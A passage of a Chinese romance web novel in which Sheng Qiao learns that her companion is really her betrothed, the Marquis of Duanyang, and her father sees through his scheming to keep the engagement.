盛乔却道:“可是,可你也不能一下子扔出去这么多啊,你给我买了一件新衣服,我已经很开心了,再包下这整座马场,哪怕只有半天,只怕也能耗干你所有的银两。”
最近盛乔每天都在和账册打交道,已经不是以前那个不食人间烟火的小娘子了。她看着这空旷的马场,只觉得徐少安真是不当家不知柴米油盐酱醋贵。
还想再絮叨几句,忽然嘴唇被捏住,想说的话瞬间被吞了回去。
徐肃年到底没忍住亲了上来,然后认错似的小声哄道:“好,我错了,以后都不敢再花这么多钱了,只今天一次,小娘子就原谅我罢。”
盛乔也不愿一直絮叨,听他认了错,便立刻大人大量地原谅了他。
尤其是在看到那一马厩的名马之后——
这么多的马,都是她的,没人跟她抢了!
就知道她会高兴,徐肃年忍俊不禁地等她挑完,然后随手挑了一匹紧挨着她的,由马奴配好马鞍和马镫之后,两人同时翻上了马背。
看着不远处空旷的溪山,盛乔不知从哪生出一股子豪情壮志来,她握着马鞭朝前一指,对徐少安说:“要不要比一比?”
徐肃年看着她飞扬明媚的眉眼,勾了勾唇角,点头道:“好。”
于是,两人的整个下午,都耗费在了赛马上。
真论起来,小娘子的力气到底是比不过男人的,何况盛乔的骑术也不如徐肃年熟练。
若是真比试起来,只怕盛乔要十局十输。
徐肃年并不想让盛乔不开心,因此在比试中有意相让,不过他也控制着力度,没有让得太离谱,有时输,有时赢,只为让她能玩得开心些。
毕竟,如果他真的每次都落下她一大截,便是傻子也知道这是刻意相让了。
可男人只在前半程放水,后半程则毫不犹豫地往前追,有时能追上,有时却在即将抵达终点时略输一筹,盛乔便觉得自己是真的很厉害。
虽然她只赢了那么两三次,但也正是次数不多,才让她更觉得更加难得,一直玩到天黑都舍不得走。
徐肃年看着她恋恋不舍的模样,明知故问道:“还不想回去吗?”
盛乔点点头,但还保持着一丝理智,她看了看渐沉的天色,说:“还是回去罢,太晚了,而且咱们还没用晚膳呢。”
然而她才说完,忽然看到远处走来两个小厮,他们正抬着一个什么东西,正往两人所在的方向走。
徐肃年用眼神示意她,“去看看。”
盛乔狐疑地走过去,发现他们两人抬着竟是几盘切好的生肉,和几样简单的调料。
她愣了愣,然后顿时转头看向了徐少安。
“若只有赛马,没有烤肉,岂不是兴味减半?”
徐肃年笑着说:“就知道小娘子不舍得走,一会儿我亲自下厨,给小娘子烤肉吃,如何?”
他居然还会烤肉!
盛乔眼眸亮晶晶的,眼巴巴跑过来抱住他的胳膊,“徐少安,你真好!”
小厮这会已经在空地上架起了火堆,然后将食材摆放好,便很有眼力见地告退了。
马场太大,又连着草地,大多数地方都没有点灯,只有他们这里架着火堆,任哪都是亮的。
若有人在这时走过来,第一个看到的就是他们这边。
徐肃年只当没听到远处的脚步声,他看着抱在自己手臂上的盛乔,一副不满意的样子,“只是这样?”
盛乔不明白,“你还想如何?”
徐肃年看着远处隐隐约约的人影,转了个身,特意挡住阿乔视线,然后压低了声音。
在周围一片漆黑中,他如一团火焰,在无声的勾引着谁。
“阿乔,你亲我一下,好不好?”
徐肃年点点自己的嘴唇。
第39章 文案掉马(下)
没让郑墨跟着,盛怀义和盛淙打听了京郊的几处马场位置,便匆匆离开了济善堂。
但因为路上耽搁太多时间,等二人匆匆赶到饮溪马场时,天已经黑透了。
马场的管事拼命拦着他们不让进,“两位客官,咱们今天的马场已经被贵人提早包下了,您二位现在不能进去。”
这一路上,盛淙的耐心早就耗光了,他懒得再与一个小管事费话,直接从怀里摸出一枚刻有燕国公府徽记的令牌,怼到那管事面前,冷声问道:“识字吗?”
管事打眼一瞧,只见那令牌正中间刻着一个斗大的“燕”字,旁边还有一行小字:御赐燕国公盛府。
虽然这是在洛州,可燕国公府乃大梁百年勋贵,谁会不知?
小管事吓得险些跪下去,哪还敢拦,软着腿给他们开了门。
走进去前,盛怀义忽然顿了一下,看着跟在他和盛淙身后的两个侍从,命令道:“你们两个就守在这,不许再放任何人进去。”
“是!”
吩咐下去之后,盛怀义便带着盛淙快步走进了马场。
独占了一个山头的马场果然很大,但两人还是一下子就找到了盛乔所在的地方,因为这偌大的马场,只有那一处是亮的。
昼夜不停地赶了几天的路,一会儿没歇着,这会儿又要徒步爬半个山头,盛怀义到底是个文官,此时已经有些吃不消了。
盛淙听着父亲有些费力的喘息声,往左走看了看,劝道:“要不阿爹先在这歇着,我一定把阿乔带下来。”
盛怀义却朝他摆了摆手,咬牙道:“走。”
等两人好不容易来到了那处点了篝火的空地,还来不及喘息,便立刻去找寻盛乔的身影。
火焰将此处照得大亮,隔着老远,盛怀义就能看到那依偎在一起的两个男女。
只看那纤长般配的背影和亲密的姿态,若那是两个不识得的路人,便是盛怀义只怕也要赞一句神仙眷侣。
可惜其中的女郎是他的宝贝女儿。
盛怀义才刚走过来,就瞧见盛乔像只蝴蝶一样扑到了男人的身侧,两只手臂毫不避嫌地环住他的胳膊,虽离得远不知在说什么,但只看那姿态,很像是在撒娇。
盛怀义脸色分外难看,盛淙更是震惊地张大了嘴巴,垂在身侧的手指攥得咯咯响,他看了
身旁的父亲一样,立刻就要冲上去。
这会盛怀义没再斥责他的冲动,甚至朝他默许地点了点头。
但盛淙还是没能冲出去将那二人分开,因为他才刚迈出一步,就见盛乔好像不知说了句什么,竟忽然抬手勾住了那男人的脖子,然后踮着脚尖亲在了男人的唇边。
盛淙一下子僵住了,像被雷劈过一样顿在那里,他甚至以为自己瞎了,出现幻觉了,还不相信地抬头揉了揉眼睛。
等他再抬头看过去的时候,那两个人竟然还在亲!
盛淙无措地看向身后的父亲,只见他的脸色也很难看,像是吃了什么东西噎住了一样,涨得又红又紫,半天都说不出一句话来。
盛怀义根本不敢相信眼前这个大胆的女郎是自己的女儿。
在他的认知里里,他的阿乔还是个不懂人事的小姑娘,虽然已经及笄,心性却还像个小孩子似的,整天嘻嘻哈哈就知道吃和玩,如今竟然,竟然……
盛怀义瞧着不远处那两人交颈相依的模样,只恨不得呕出一口血来,然后立刻将那诱骗他女儿的男人抓过来碎尸万段。
但将要上前时,他又不自觉地顿住了,阿乔从前胆子那么小,会不会吓到?
若就这么冲过去,她会不会羞愧得再不想见人了?
盛怀义忍了又忍,本想等一等,至少等阿乔从那男人身上下来之后再说。
不料他们竟是越来越过分,眼看那男人的手就要摸上自己女儿的腰,盛怀义终于忍无可忍地厉喝一声——
“住手!”
虽然已经入了夏,可山上风大,盛乔穿着一身单薄的衣裳,还是有些冷,手脚都冻得冰凉。
但不知为什么,徐少安的身上总是很暖和,盛乔每次一抱住都忍不住放开。
原本只想蜻蜓点水地在他唇上轻啄一口,可在触到他温暖的胸膛时,盛乔忽然又有些不想把手挪开了。
总归这马场里除了他们,也再没有第三个人,盛乔勾着他的脖颈向下,想让徐少安把她抱得再紧一些。
面对女郎的主动,徐肃年其实也有些意外。
若是平时,他自然毫不犹豫地就收紧手臂,可想到方才听到的脚步声,他也怕自己做得太过,反而适得其反。
抬起的手臂将落未落,正犹豫时,一声厉喝骤然从远处传来。
纵是徐肃年早已有了心理准备,此时也忍不住浑身一僵。
而他怀里的盛乔就更无措了,她甚至根本不知道发生了什么,正沉浸其中时,忽听到外间一声厉吼,下意识就往身前男人怀里缩了缩。
“怎,怎么有人!”
她根本没听出父亲的声音,语气里满是慌乱。
徐肃年见她这动作,稍稍怔了一下,随后立即撩起披风将她罩住。
盛怀义见二人如此举动更是火冒三丈,怒道:“盛乔,你躲着阿爹做什么?”
这句话一出来,盛乔才终于听出是谁,她缩在徐肃年的披风底下,像是一只遇到了天敌的小兽,整个人僵硬得不知所措。
徐肃年环着她的手没有松开。
逃婚两个月后,千里之外的亲爹忽然大驾光临,任谁都要脑子懵一会儿,何况他们两个方才还在盛怀义的眼皮子底下做了那么亲密的举动。
今日的一切都是徐肃年故意安排的,马场空寂无人,无论发生什么都不会被其他人看到。
徐肃年不欲让盛乔独自面对亲爹,轻咳了一声,便要转身和人见礼,可还没动作,藏在他怀里的盛乔忽然从披风底下钻出来了。
这一出来,立刻便看到了站在不远处的父亲的兄长。
居然真的是阿爹。
盛怀义的心情十分复杂,脸上更是种种情绪交织在一起,恼怒的、严厉的、惊讶的……以至于半天都再说不出半个字来。
盛乔有些害怕,却还是按捺不住心底的思念,忽然就拎着裙摆跑了过去。
纵然再生气,盛怀义也舍不得把女儿推开,他张开双臂将盛乔搂住,“你这孩子……”
话未说完,就被女儿小声的抽泣给打断了,“阿爹……”
明明当初离开家是她自愿,明明在洛州这两个月过得十分逍遥自在,可不知为什么,见到父兄之后就是莫名的眼眶酸胀,泪水不受控制地就淌了出来。
盛乔从不知自己这么能哭,直把阿爹胸口的衣裳都哭湿了。
盛怀义也是第一次见到女儿这个样子,山上风大,他担心她要哭坏眼睛,连忙接过盛淙递来的帕子给她擦眼泪。
“是不是这段时间受了委屈?”盛怀义担心地问。
原本泪水都已经被擦干了,听到这句话却又涌了出来,盛乔抢过帕子使劲抹了抹眼睛,摇头道:“才没有受委屈,只是,只是想阿爹了……”
任谁都到小女儿这话,心都要软了。
盛怀义心里受用,却不会因为盛乔这一通眼泪就忘掉方才看到的那一幕,于是再开口时,语气难免就有些酸溜溜的,“你这小没良心的还知道想你阿爹,我看你啊,早就乐不思蜀了罢。”
哭了这么半天,盛乔原本都要忘记方才的事了,此时经盛怀义提醒,她才想起来远处还戳着一个徐少安。
她有些脸红,借着擦眼泪的动作挡住半张脸,盛怀义看着她这模样,也怕说了重话伤到她的自尊心,只冷哼了一声,然后将视线射向了不远处站着不动的耶男人身上。
那人原是背着身的,不知什么时候转过了身,但依旧站得远远的,又背着光,从盛怀义的方向看过去,甚至看不到他的脸。
他大约也知道自己是死期到了,这才手足无措不敢上前面对。
盛怀义心中更不满,于是用眼神示意一旁的盛淙,让他把那人带到自己面前来。然后拍了拍阿乔的肩膀,温柔地劝道:“方才哭了太久,早就都哭红了,这会儿风大,快进屋去。”
不远处就是一排厢房,是供客人平时换衣服、小憩的地方。
盛乔却难得听懂了阿爹话中的言外之意,知道他是想支开自己。又见兄长阴沉着脸往徐少安所在的方向走去,她一下子就慌了。
她三哥如今虽是文官,可年少时可是随二叔上过战场的,向来学的都是能杀敌的真功夫,徐少安会的那些花拳绣腿哪里够看。
三哥不会是看到了方才那一幕之后,想要打他罢。
几乎没有犹豫,盛乔立刻转身追上了盛淙,拉住他的胳膊,急切问道:“三哥,你要做什么?”
盛淙由她攥着,却不理会,只当没听见她的话,继续往前走。
盛乔见他说不通,急得跺了跺脚,干脆不和他说了,转而跑向徐少安。
然后在徐少安稍显诧异的目光中,盛乔强行拽着他的胳膊,一直将他拽到了父兄面前。
“阿爹,三哥……”
盛乔心里焦急,担心阿爹真的会不留情面的地解决了徐少安,就像之前将虞家赶出京城时那次一样。
盛乔心里急得不行,因此根本没注意那三个男人此时的表情。
“阿爹,三哥,其实我……”
她本想好好组织一番语言,可想来想去根本不记得自己一开始想说的是什么了,最后干脆直接把心里的决定扔出来——
“阿爹,我死都不会和徐肃年成亲的,我要嫁给他!”
盛乔紧紧牵着徐少安的手,向父兄两人郑重宣布,“他才是我的心上人。”
说完,立刻去看盛怀义的反应。
而盛怀义早在看到男人的那张脸时,就已经瞬间变了脸色。
这不是……
这不是端阳侯吗?
不,不可能……一定是他老眼昏花认错了。
端阳侯怎么会在这,不可能的,不可能的。
大约只是长得像而已。
想到自己和端阳侯本人不过是朝堂上几面之缘,也不是没有认错的可能,盛怀义求助般地去看自己的儿子,毕竟他和端阳侯同在大理寺为官,接触的机会那么多,总能认出来眼前这个不是端阳侯。
他想从盛淙那得到否定的答案,不料盛淙根本没注意到父亲的眼神。
他的眼睛一眨不眨地盯着立在盛乔身边的男人,震惊开口,“端……端阳侯?”
盛乔根本没听懂兄长在说什么,听到端阳侯的这三个字后,她甚至还扭头往身后看了看,可马场空荡荡的根本一个人都没有。
“哪有端阳侯啊……”
盛乔怀疑地看着盛淙,“哥,你是不是眼花了。”
与搞不清状况的盛乔不同,盛淙这句话一说出来,盛怀义就已经十成十地确定了阿乔身边这个年轻男人的身份,眼前当即一黑。
可他仍不愿意相信,挣扎地又问了一遍,“你是……”
但这次,是徐肃年自己开口了。
他看着自己被盛乔紧紧牵着的左手,心里说不出是什么滋味。
半晌,他将手缓缓抽出来,不动声色地往盛乔身后挪了一步,挡住了她逃跑的路线。
然后才对着盛怀义十分恭敬地揖了一礼,开口回道:“在下,徐肃年。”
此话一出,周围一片死寂,原本还呼啸的夜风都不刮了,连树梢上的枝叶都仿佛停止了晃动。
不知过了多久,才听到咚的一声闷响,是盛乔转身逃跑时,撞进了徐肃年坚硬的胸膛。
第40章 算计再也不要看见徐肃年了!
“在下,徐肃年。”
在听到男人这句话的时候,盛乔第一反应是他在胡说八道。
怎么能在她阿爹面前开这样的玩笑呢。
盛乔皱眉想要斥责他胡说,却见阿爹和三哥的表情也很不对劲。
像是不能理解,又像是怀疑人生,当然更多的还是被雷劈过似的震惊。
虽然她没见过端阳侯徐肃年,但阿爹和三哥,都和他同朝为官,一定是认识他的。
如果他在胡说,那一定会在第一时间被拆穿。
但阿爹和哥哥都没有说话,难道是默认的意思?
盛乔忽然想起三哥方才那一句带着满满疑惑的质问,而后又想起了从前的许多事——
他明明是车夫出身,却养得一个十分骄傲的性子,对任何人都不见低声下气,甚至能文能武,还懂得如何经营管理一家书院,一手丹青比她见过的许多名家之作都更出色。
原来是因为他根本就不是什么贫苦之身,而是丹阳长公主府的天之骄子。
亏她一直觉得他心性坚韧顽强,要报他的恩情,还特意将他推荐到二叔的麾下。而他几番推拒,又说家里不允,原来是因为他根本就是陛下宠臣,官职比她年轻有为的三哥还高。
还有她后来与他坦明自己身份之后,几次在他面前提起端阳侯时,他的态度都怪怪的,不是说他有苦衷,就是说旁敲侧击地替他说好话。
还有那天徐家二郎到济善堂时,两个人的脸色也都怪怪的,当时她就疑心两人是不是认识,但因为他们两个都坚决否认,她也就傻乎乎的相信了。
到如今,她才想明白徐少安当时的眼神。
也难怪端阳侯明明就在洛州,与她离得这么近,却怎么都不愿意见她,更不答应她的退婚。
原来这一切都是因为,他就是端阳侯本人。
盛乔以前从来不知自己的记性原来有那么好,明明小时候被先生要求背诗,好几天都背不下来,可过去几个月发生了那么多事,她却全都记得清清楚楚。
除了那些奇怪的,蹊跷的事,她也忘不了自己在男人面前做出的那些蠢事。
远的不提,就说方才,她竟然一边对阿爹说誓死不嫁给端阳侯,一边又牵着他本人的手,说他是自己的心上人!
她说这话的时候,徐肃年是不是要笑死了,在心里想她怎么这么傻,怎么就会被他的谎话哄了这么久。
阿爹呢?三哥呢?
他们会怎么想自己,会不会觉得她疯了?
盛乔不敢继续想下去,她觉得自己这辈子都不想再见人了。
都怪徐肃年这个骗子!
他,他果然不是什么好人!
盛乔心里恨不得将徐肃年给骂上千遍万遍,实际却却连抬头看他一眼的勇气都没有。
她怕会在他眼里看到戏谑和嘲笑。
因此,她根本连头都没抬,转身就想跑,可不知这个这个骗子什么时候竟然挪到她的身后去了,正把他将要逃跑的路给堵住了,她一扭头,正撞进了他硬邦邦的怀抱里去。
咚的一声闷响,盛乔哎呦一声捂住自己的额头。
不是疼的,是吓的。
徐肃年早知她会跑,此时见她这冒冒失失的模样,心里轻叹一声。
他伸手去拉盛乔的胳膊,试图让她听自己的解释,谁知手指还没碰到她的腕子,盛乔就像只炸了毛的小猫似的一下子将他甩开了。
“阿乔,你听我解释。”
徐肃年看了眼还没回过神的盛家父子二人,还是想先将盛乔安抚好再说。
可盛乔的反应比他先前想象得还要大,她拼命地甩开他的手,不让他碰,也不让他拿帕子给她擦眼泪。
“阿乔,听我说,好不好?”
便是徐肃年一时也有些无措,还想再劝,却见盛乔直接伸手捂住了耳朵,“你是不是又要骗我?我不听我不听我不听我不听!”
“我再也不想听你说话了!”
盛乔说着,声音里已经不知不觉地带上了哭腔,徐肃年见她哭了,本想伸手去拉她的动作立刻顿住了。
“好,我不碰你。”徐肃年无奈妥协,“只是起风了,我先给你披件衣服,好不好?”
说着,他解下自己身上的披风,想要裹到盛乔的身上。
这时,立在不远处的盛怀义突然开口,“阿乔,过来,来阿爹这里。”
像是迷失在乱林中突然抬头看到了月亮,盛乔毫不犹豫地将眼前的男人推开,更没接他的披风,径直跑向盛怀义。
盛怀义展开手臂将女儿揽在怀里,另一侧的盛淙早已在徐肃年开口时,就解下了自己的外裳,默默地披在了妹妹身上。
父子俩没有任何一个人有开口和他说话的意思。
徐肃年一向有自知之明,知道他们在这时候一定不想理会自己,但不知为何,还是下意识地往前跟了几步。
走在后面的盛淙,察觉到了身后的动静,停住脚步转身,看向徐肃年时,俊朗的眉头还紧紧皱着。
两人年纪相仿,这些年又同在大理寺为官。
对于盛淙来说,徐肃年既是他的上峰,又是他未来的妹夫,两人之间不说关系有多亲近,至少也能算是点头之交。
他对徐肃年一向温和守礼,这还是第一次对他冷下脸,声音里好像带着冰碴子,“侯爷留步。”
只看盛乔那个天真跳脱的性子,就能想象到她家里人到底是有多宠爱他。
盛淙此时的态度徐肃年并不意外,更不会生气,多一个人宠着阿乔,那是他最乐意看到的事。
也正是知道阿乔受宠,盛家人知晓他欺瞒阿乔之后,恐怕第一反应就是要强行断掉这桩婚事。
阿乔生气可以慢慢哄,总有一日能哄好。
可若是这婚事退了,挽回的机会就基本聊胜于无。
面对盛乔时,徐肃年多少有些手足无措,而此时面对盛淙,他则早有准备。
只不过面上不能表现出来。
徐肃年停在盛淙跟前,然后毫不心虚地看向他,眸光里皆是坦荡。
“三郎君,你我共事这些年,我的为人你最清楚。”
此话一出,盛淙将要转身的动作果然顿了顿。
徐肃年见缝插针地动之以容,“我知道这次是我不对,我不该骗阿乔,但你要相信,我起先真的不知她是盛家小娘子。”
盛淙先把自己最想知道的问题问了出来,“你和阿乔,到底是怎么遇
上的。”
徐肃年老实回答:“令妹离京那日,我正好奉陛下之命将要前往洛州,又不想大张旗鼓打草惊蛇,这才换了个低调的身份。不料盛小娘子也在那巷子经过,错上了我的马车。”
“但我当时真的不知她是谁,只想着借她身份低调离开京城,谁知竟一路同行到了洛州。”
半真半假的话最容易让人相信,盛淙听了果真没有怀疑,只冷声道:“你当时不知她的身份,我信。你想要隐瞒自己的钦差之名,我也能理解。可如今你们已经关系如此亲近,你又何必一直骗她?阿乔性子单纯,最讨厌旁人骗她了。”
徐肃年闻言没说话,半晌才苦笑着摇了摇头,“我怎愿骗她?三郎君,你要相信我,我真的是有苦衷的。”
“你能有什么苦衷?”盛淙的语气,几乎和那天盛乔的如初一辙。
徐肃年知道他动摇了。
他无奈地叹了口气,反问道:“我此行洛州为的是什么,别人不清楚,你还不清楚吗?”
“洛州的水到底有多深,以至于连陛下都不敢完全放心。我此来洛州的消息不算隐秘,朝中很多人都知道。”
徐肃年神情苦涩,甚至还带着一点点不被理解的落寞,“若是让有心之人知道了我和阿乔的关系,你猜他们会怎么做?”
他刻意留白,等盛淙去想。
果然盛淙思考半晌,便立刻瞪大了眼睛,“难道他们还敢对阿乔出手不成?”
“我也不知。”徐肃年摇了摇头,“但我不敢拿她冒险。”
“你不知道……”徐肃年说,“当我知道阿乔就是盛家的三娘子,是我的未婚妻时。我的心里有多高兴。”
“此行路上我与阿乔朝夕相处,虽喜爱她活泼天真的性子,却也不敢表露太过,毕竟我家中还有未婚妻。”
“而当我得知,阿乔竟然就是燕国公府的小娘子时,我几乎是瞬间就想与她挑明身份,告诉她我是谁。”
“可我不能,为了阿乔的安全,我不能告诉她。”
像是想到了什么伤心事,徐肃年的语气也跟着低沉下来,“明明我就是他的未婚夫,我们是名正言顺,却守礼不能告诉她,甚至要时不时听她提起退婚一事……”
说到最后,徐肃年有点说不下去了,他神色哀伤地看向盛淙,仿佛是想寻求他的认可,“元晦,你也是男人,你能懂我的感受吗?”
不知不觉间,徐肃年对他的称呼已经从疏远的三郎君变成了更为亲近的字。
但盛淙根本没有察觉,因为他早就被这一番话带跑了思绪。
他不自觉就顺着他的话去想:若自己有一个心爱的未婚妻,明明与她两情相悦,却因故不能告知她身份,还要每天听她编排自己,甚至还要听她说起退婚之事……
盛淙总有一种自己给自己戴了绿头巾的错觉。
这样想着,他看向徐肃年的眼神里就不知不觉地带上了一点同情,虽然很快又被他压了下去。
徐肃年只当没看见,接着说道:“不过我现下同元诲兄提起这些,并不是想让你同情我,我只是想让你知道,我真的不是有意瞒着阿乔的。”
“可她现在不想见我。”
徐肃年语气失落,“只望元晦兄能替我在阿乔面前美言几句,不说让她原谅我,至少让我与她说上几句话罢。”
也是可怜人,盛淙看着他仍旧拎在手上的披风,叹道:“我会帮你把话带到的。”
与徐肃年交谈耽搁了一点时间,盛怀义也没等着他,直接向马场的管事借了一辆马车,带阿乔先走了。
本想回济善堂的,但那里人太多,盛怀义也不想郑墨跟着着急,干脆让随从沿街找了一家客栈,开了几间上房,抱着已经窝在他怀里昏昏欲睡的阿乔上了楼。
盛淙慢了几步,等找到客栈时,盛乔已经睡了。
盛怀义看着被帷幔遮得严严实实的架子床,对盛淙打了个手势,示意他跟自己出来。
盛淙会意,走出房间将房门带上。
盛怀义第一时间问:“徐肃年呢?”
盛淙无意识地叹了口气,回答:“回驿馆了。”
盛怀义敏锐地察觉到他情绪不对,问:“怎么了,你们两个方才谈了什么?”
“也没谈什么。”盛淙说,“他就和我解释了一下当时到底为何要和阿乔隐瞒身份。”
盛怀义命令道:“把他和你说的话,一句一句和我复述一遍。”
“是。”
盛淙应下,便将两人方才的对话从头到尾重复了一遍,盛怀义听了,眉头紧紧蹙起,却始终未发一言。
“阿爹,怎么了?”
盛怀义看了一眼儿子,仍是没说话,心里却在叹气。
他这一双儿女还真是一个性子,又傻又心软,无论别人说什么,都傻乎乎的信了。
徐肃年是何许人也?
年纪轻轻就能执掌主管刑狱的大理寺,审过的冤案只怕比阿乔走过的路都多。
他虽没见过阿乔,可就阿乔那个天真不设防的性子,只怕几句话就在他面前漏了馅。
同行这么久,说徐肃年对阿乔的身份毫不知情,他是半个字都不信的。
至于什么为了阿乔的安全考虑,也不过是借口罢了。
去年的那件楚安侯府的案子不就是么。不仅牵扯到了朱家人,那还是惠国公的妻弟,徐肃年没有丝毫退怯,照办不误,甚至由此受封了端阳侯的爵位。
那样大的案子都敢办,惠国公府和皇后娘娘都敢得罪,若说他此时会畏惧几个不入流的贪官,实在太过可笑。
盛怀义虽然猜不出徐肃年瞒着盛乔的真正原因,却也知道这些都是在胡扯。
不过见盛淙这模样,估计是已经被他说动了。
从前他只以为这位年轻有为的侯爷是个报案的好手,没想到演起戏来也是天分十足。
盛怀义本可以不理会他,可脑子里想的却是饮溪马场看到的那一幕——
阿乔垫脚凑在男人身上,轻柔地落下一吻。
盛怀义也是过来人,知道那温柔缱绻的姿态中,藏着多少的柔情万种。
便是他这做父亲的,也从来没想过,有一天他的宝贝阿乔会对一个男人露出这样一副小女儿姿态。
他知道,阿乔是喜欢他的。
这毋庸置疑。
否则她根本不会牵着他的手说想要嫁给他。
阿乔绝不是拿自己余生幸福去打赌的性子。
先前那桩棘手的事还没解决,他向陛下告假时,明显感觉到了陛下的不满。
他不确定陛下是否还没打消让阿乔进宫的念头,也正是因此,才会一直默许徐家拖着婚事不退。
因为这婚事,他的心里也是不想退的。
当时之所以会找上徐家联姻,除了门当户对之外,还有一个极为重要的原因,就是徐肃年是当今陛下的亲外甥。
就算陛下再想收拢盛家,也不可能和亲外甥抢女人。
因此只要阿乔成了徐肃年的未婚妻,陛下就不可能再将她纳进后宫。
这也是当初为何那么快就给盛乔定下婚事的真正原因。
而之所以没告诉阿乔,是不希望她有负担。
虽然皇帝生出这个念头,的确是想要拉拢盛家,但盛怀义并不想将这一族荣辱都压到年幼的女儿身上。
她的肩膀单薄娇嫩,该披的是锦衣华服,而不是一个不知前路的牢笼。
盛怀义不想让女儿入宫,最好的方法当然还是快些给她定亲。
徐肃年本就是他的第一选择,如今阿乔又对他生了情愫。
这婚事,到底还要不要退呢?
盛怀义一时竟也不能确定,他回头看了一眼紧闭的房门,然后对盛淙说:“明天你亲自去官驿,请端阳侯过来见我。”
盛淙一愣,然后问:“那阿乔呢?”
盛怀义说:“还是让她先回济善堂罢,有墨儿那丫头陪着她,我放心。”
盛淙应道:“是。”
翌日清晨,盛淙先将妹妹送回了济善堂,然后便立刻到官驿去找徐肃年。
他去的时候太早,原还担心徐肃年还在睡着,不
料底下人将他带进去的时候,徐肃年竟已经穿戴整齐了,仿佛早就知道他会来找他似的。
盛淙忍不住问道:“你难道早知道我要来找你?”
徐肃年否认,“反正也睡不着,干脆早些起来。”
盛淙听了这话,不由得朝他眼底看,果然看到两团青黑,只怕昨夜也是辗转反侧多时。
徐肃年只当没看见他打量的视线,问盛淙,“元晦兄来找我,是不是阿乔想见我了?”
盛淙摇了摇头,说:“是我阿爹,他想见你。”
晨起街上无人,何况那客栈离着官驿本来就不算远,徐肃年和盛淙骑马赶到的时候,盛怀义正和随从一道用早膳。
一见到他们二人,盛怀义便撂下筷子,“走罢。”
徐肃年看他一眼,难得恭敬的语气,应道:“是。”
盛淙也想跟着,可还没走两步就被盛怀义支开了,“三郎去用膳罢,我和徐家小子单独谈谈。”
盛淙只得顿住脚步。
徐肃年听着这个称呼,略显诧异地挑了挑眉。但也没说什么,很是顺从地跟着盛怀义走到了楼上房间。
进门后,盛怀义自顾自地找了个位置坐下,然后指了指一旁的椅子,示意徐肃年也坐。
徐肃年犹豫了一下,也还是跟着坐下。
旁边就有刚泡好的茶,盛怀义亲自倒了一杯递给他,然后看着他眼底的那一片乌青,说:“昨晚没睡好?”
徐肃年很是无奈地摇了摇头,叹道:“是啊……我心里担心阿乔,实在睡不着。”
说是盛淙听了这话,只怕又要替他伤怀一番,
不料盛怀义听了之后却笑了,然后对他说:“阿乔最近是不会见你的。侯爷大可不必这么折腾自己。”
徐肃年微微一愣,没想到盛怀义会这么说,一时间没掩住眼底的诧异。
盛怀义却当没看见似的,轻哼一声,道:“还是说,你这样子其实是做给我看的?”
“你早知道我会见你。”
虽是疑问句,但说这话的时候,盛怀义用的是笃定的语气。
徐肃年没说话,盛怀义也没催促。
他端起手中的茶杯轻抿了一口,姿态看起来十分悠闲。
半晌,徐肃年缓缓笑了一下,眼底却没什么情绪,他不怎么走心地恭维道:“燕国公果然是聪明人。”
盛怀义亦轻勾了勾唇角,算是应下了徐肃年的这句夸赞,然后又继续问道:“那这样说来,昨天在马场的那一幕,也是侯爷故意设计想让我看见的了。”
在听到这句话后,从昨晚到现在,便是在坦诚身份时,尚且能保持冷静的徐肃年终于变了脸色,看向盛怀义的眼神中,也带了更深一层的探究。
他当然是故意的。
当初的订婚来的猝不及防,便是母亲也没说到底什么原因,但他知道,自己对盛家来说一定是有什么特别之处。
否则低调了这么多年的燕国公府,不会选择在家族最繁盛的时候,与同样繁盛丹宁公主府结亲。
烈火烹油,可从来不是什么好事。
而且这段日子以来,盛国公明面上是向母亲提了退婚,可暗地里似乎也默许了他的拖延。
徐肃年由此就更加坚定自己的推测了。
昨晚对盛淙说的那些不过是个引子,他一直都知道,盛怀义才是那个真正拍板做决定的人。
徐肃年真正想要算计的,只有盛怀义。
一个原本就有利用价值的嘉婿,偏偏又能讨得他宝贝女儿的关心。
这么好的一桩亲事,徐肃年不相信盛怀义舍得退掉。
但也没想到,盛怀义竟能猜到他的算计。
这么聪明的一个人,怎么会养出阿乔那样傻乎乎的女儿来?
盛怀义仿佛看懂了他在想什么似的,爽朗大笑了两声,然后才道:“能者多劳,越是聪明越想思虑周全,可实际上人活着不必太累,阿乔一辈子有我和她阿娘护着,我唯一的愿望就是她过得开心。”
徐肃年没说什么,但心里是十分赞同盛怀义这番话的。
这会他没再沉默太久,很快就开口道:“我也会好好护着阿乔。”
聪明人打交道不必说得太透,这句已经算是表白和承诺了。
盛怀义看着他,说:“我知道你在想什么,也知道你大致猜到了我的目的,所以才会在昨天故意演那么一出。”
“你还是喜欢阿乔,因此不希望退婚,是不是?”
没想到他就把这话说出来了,徐肃年皱了下眉,但还是点了点头。
他毫不犹豫地将心里话说出来,“骗阿乔这件事,我的确是有苦衷。但我对阿乔的心,日月可鉴。”
听到这话,盛怀义笑了一下,说:“你真的很聪明,我也可以同你说句实话,你的确算准了我的心思。”
徐肃年眸光微微一亮。
“因为你昨天那一出,我的确犹豫了,这桩婚事我确实不想退。”
徐肃年没再克制,脸上很快显出惊喜之色。
但紧跟着,盛怀义又道:“但那是昨天。”
徐肃年脸色一沉,“什么意思?”
“意思是我现在改主意了,因为我忽然觉得你们并不合适。”
他看着徐肃年一寸寸冷下来的脸色,毫不客气的说:“你心思实在太深,并不适合阿乔。”
40-50
第41章 靠枕我和你没关系了
“你心思实在太深,不适合阿乔。”
说完这句话,盛怀义便朝徐肃年客气地抬了下手,示意他请便。
而此时徐肃年的脸色已经完全沉了下来,眉目间的锋锐也没有分毫收敛。
他没有动,只沉默地睨着盛怀义。
盛怀义全当没看见他的眼神,自顾自地饮起茶来。
不知过了多久,徐肃年终于有了动静,却不是转身出门,而是起身朝盛怀义揖了一礼。
盛怀义这回终于抬头看了他一眼,“侯爷这是何意?”
徐肃年行完礼,也不见方才的冷肃表情,反而眼底漫上了一丝笑,他客气道:“我是想多谢盛伯父。”
听到这个称呼,盛怀义没忍住眼角一抽,好半晌才开口纠正,“你我同为大梁朝臣,侯爷不必与我这么客气。”
徐肃年说道:“盛伯父是护女心切,怕我不诚心,所以才出言故意试探。”
“……”
盛怀义皱起眉。
徐肃年只当没看见,保证道:“伯父放心,我定然不会让你失望,一定哄好阿乔。”
说完也不等盛怀义身份反应,再度朝他拱了拱手,便转身离开了。
盛怀义看着他的背影,本欲出言阻拦,但片刻思索之后,还是没有开口。
徐肃年阖上房门走出来,还没下楼梯,便瞧见了在楼梯口张望的盛淙。
他立刻换了个表情,主动迎上去,“元晦兄。”
盛淙看了眼徐肃年的脸色,又看了看紧挨着的房门,问:“如何?我阿爹都与你说了什么?”
